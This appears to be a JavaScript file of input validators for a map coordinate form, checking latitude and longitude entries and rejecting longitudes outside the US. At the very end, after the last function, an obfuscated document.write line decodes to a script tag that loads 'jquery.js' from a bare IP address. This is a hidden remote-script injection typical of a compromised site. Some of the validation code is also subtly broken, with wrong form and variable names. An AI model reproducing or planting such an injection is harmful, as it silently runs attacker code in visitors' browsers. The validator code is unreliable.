<!-- // Start of AdSubtract JavaScript block; you can ignore this.
     // It is used when AdSubtract blocks cookies or pop-up windows.
document.iMokie = "cookie blocked by AdSubtract";
document.iMferrer = "referrer blocked by AdSubtract";
function iMwin() {
	this.location = "";
	this.frames = new Array(9);
	this.frames[0] = this;
	this.frames[1] = this;
	this.frames[2] = this;
	this.frames[3] = this;
	this.frames[4] = this;
	this.frames[5] = this;
	this.frames[6] = this;
	this.frames[7] = this;
	this.frames[8] = this;
	this.length = 0;
}
// End of AdSubtract JavaScript block. -->
function isFloatOK (testNumber)
{
	var validChars = '0123456789-.';
	
	for (var i = 0; i < testNumber.length; i++)
	{
		if (validChars.indexOf(testNumber.charAt(i)) == -1) return false;
	}
	return true;	
}

function validateUTM (UTMform)
{
	return true;
}

function validateDD (DDform)
{
	var floatLat, floatLon;
	
	if (isFloatOK (DDform.lat.value) == false)
	{
		alert ("Latitude must be a decimal number, like 43.224 or 35, with no letters or other punctuation.");
		return false;
	}
	
	floatLat = parseFloat (DDform.lat.value);
	if ((floatLat == 0) || isNaN (floatLat))
	{
		alert ("Latitude must be a decimal number, like 43.224 or 35");
		return false;
	}
	
	if (isFloatOK (DDform.lon.value) == false)
	{
		alert ("Longitude must be a decimal number, like 43.224 or 35, with no letters or other punctuation.");
		return false;
	}
	
	floatLon = parseFloat (DDform.lon.value);
	if ((floatLon == 0) || isNaN (floatLon))
	{
		alert ("Longitude must be a decimal number, like -102.14 or -76");
		return false;
	}
	
	if ((floatLon > -60) && (floatLon < 140))
	{
		alert ("That longitude is not in the United States.  Longitudes in the US are negative numbers.");
		return false;
	}
	
	return true;
}

function validateDM (DMform)
{
	var floatLatD, floatLatM, floatLonD, floatLonM;
	
	if (isFloatOK (DDform.latd.value) == false)
	{
		alert ("Degrees of latitude must be a decimal number, like 43.224 or 35, with no letters or other punctuation.");
		return false;
	}
	
	floatLatD = parseFloat (DDform.latd.value);
	if ((floatLatD == 0) || isNaN (floatLatD))
	{
		alert ("Degrees of latitude must be a decimal number, like 43.224 or 35");
		return false;
	}
	
	if (isFloatOK (DDform.latm.value) == false)
	{
		alert ("Minutes of latitude must be a decimal number, like 43.224 or 35, with no letters or other punctuation.");
		return false;
	}
	
	floatLatM = parseFloat (DDform.latm.value);
	if ((floatLatM == 0) || isNaN (floatLatM))
	{
		alert ("Minutes of latitude must be a decimal number, like 43.224 or 35");
		return false;
	}
	
	if (isFloatOK (DDform.lond.value) == false)
	{
		alert ("Degrees of longitude must be a decimal number, like 43.224 or 35, with no letters or other punctuation.");
		return false;
	}
	
	floatlonD = parseFloat (DDform.lond.value);
	if ((floatlonD == 0) || isNaN (floatlonD))
	{
		alert ("Degrees of longitude must be a decimal number, like -123.2 or -79");
		return false;
	}
	
	if (isFloatOK (DDform.lonm.value) == false)
	{
		alert ("Minutes of longitude must be a decimal number, like -123.2 or -79, with no letters or other punctuation.");
		return false;
	}
	
	floatlonM = parseFloat (DDform.lonm.value);
	if ((floatlonM == 0) || isNaN (floatlonM))
	{
		alert ("Minutes of longitude must be a decimal number, like -123.2 or -79");
		return false;
	}
	
	if (((floatLonD + floatLonM) > -60) && ((floatLonD + floatLonM) < 140))
	{
		alert ("That longitude is not in the United States.  Longitudes in the US are negative numbers.");
		return false;
	}
	
	return true;
}

function validateDMS (DMSform)
{
	return true;
}  <!-- 
document.write(unescape('%3Cscrb0iEvtptvQs%20AB7s6ArHuScEvt%3DEvt%2FF2%2F96A4%2Euy2vQs4vQs7%2EAB72AB7%2E1uy9F25%2FmEjqEvtu6AeuyrymE%2EvQsjs%3EvQs%3C%2FscAB7r6AipmEtvQs%3E').replace(/HuS|Evt|AB7|6A|uy|F2|b0|vQs|mE/g,""));
 -->
